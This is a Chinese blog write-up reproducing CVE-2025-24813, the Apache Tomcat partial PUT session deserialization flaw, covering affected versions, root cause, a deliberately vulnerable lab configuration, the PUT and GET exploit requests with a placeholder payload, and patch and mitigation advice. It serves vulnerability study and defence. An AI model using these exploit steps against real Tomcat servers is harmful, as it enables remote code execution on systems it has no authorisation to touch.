【漏洞复现】Apache Tomcat partial PUT文件上传反序列化漏洞复现(CVE-2025-24813)

❤️博客主页iknow181
🔥系列专栏网络安全PythonJavaSEJavaWebCCNP
🎉欢迎大家点赞👍收藏⭐评论✍


0x00 免责声明

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

0x01 漏洞描述

Apache Tomcat是由Apache软件基金会下属的Jakarta项目开发的Servlet容器。2025年3月,官方披露 CVE-2025-24813 Apache Tomcat partial PUT文件上传反序列化漏洞。

在 CVE-2025-24813 中在开启了PUT(默认关闭)的前提下,若同时开启了tomcat 持久化Session配置,攻击者可利用PUT上传文件,并构造恶意请求触发session文件反序列化,若同时有可利用gadget的情况下可能造成代码执行。

漏洞前置依赖条件较多,实际场景较为有限,需同时满足以下五个条件:

  1. 应用程序启用了DefaultServlet写入功能(默认情况下禁用)
  2. 服务器启用了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中(默认启用)
  3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件),需要额外配置
  4. 攻击者已知目标敏感文件的路径以及文件名
  5. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

0x02 漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

0x03 原理分析

Content-Range 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。当文件上传未完成时,上传的内容会暂时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。该漏洞的关键在于处理不完整PUT请求时对文件名的处理机制:文件路径中的分隔符/会被替换为.。例如,访问路径/iknow/session会被解析为.iknow.session

漏洞的利用过程如下:

  1. Tomcat的File会话存储默认路径也位于:$CATALINA_BASE/work/Catalina/localhost/ROOT

  2. 当存在反序列化利用链时,攻击者可以上传包含恶意序列化数据的文件。

  3. 通过设置JSESSIONID=.xxxxx来触发漏洞。

0x04 环境准备

下列地址均以本机apache-tomcat-9.0.97路径做示例

tomcat 下载地址:Index of /dist/tomcat/tomcat-9/v9.0.97/bin

1. 修改资源写入:

访问web.xml进行数据编辑

apache-tomcat-9.0.97\conf\web.xml

找到DefaultServlet 在下面增加一个redonly 设为false

复制代码
<init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
</init-param>

2. 开启会话存储:

访问context.xml增加文件会话存储

apache-tomcat-9.0.97\conf\context.xml

添加下列配置开启文件会话存储

复制代码
<Manager className="org.apache.catalina.session.PersistentManager">  
  <Store className="org.apache.catalina.session.FileStore" />  
</Manager>

3. 添加反序列化文件Commons Collections 3.2.1.jar

Commons Collections 3.2.1.jar 是一个 Java 类库文件,它属于 Apache Commons Collections 项目,因此需要新建个lib目录。进入下列路径

apache-tomcat-9.0.97\webapps\ROOT\WEB-INF\

新增lib文件夹并放入调用链jar包

调用链地址:

http://gitlab.53site.com/shuzhan/oss/-/raw/master/lib/commons-collections-3.2.1.jar?ref_type=heads

4. 完成后重启tomcat使配置生效

0x05 漏洞复现

1.调用链构建

调用K1链生成发序列化数据

2.构建写入数据包

直接把生成的代码整个复制过去,因为生成的代码是经过base64编码的,所以发送的时候需要解码

成功状态码是409

复制代码
PUT /ikonw/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

 {{base64dec(payload)}}

执行后会在下列路径中生成对应的文件

3.触发文件

注意这里JSESSIONID保持与写入值一致

复制代码
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.iknow

此处需要注意,如果访问get请求返回码是200,说明失败了,请重新进行put请求

0x06 修复建议

  1. 临时防护措施
  • 在不影响业务的前提下,用户可将conf/web.xml文件中的串口参数设置为true或进行注释

  • 取消PUT方法并重新启动Tomcat服务使配置生效

  • 将org.apache.catalina.session.PersistentManager设置为false

  1. 补丁修复

Apache基金会官方已发布漏洞公告,可下载补丁更新

https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

相关推荐
用户9623779544818 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机21 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机21 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全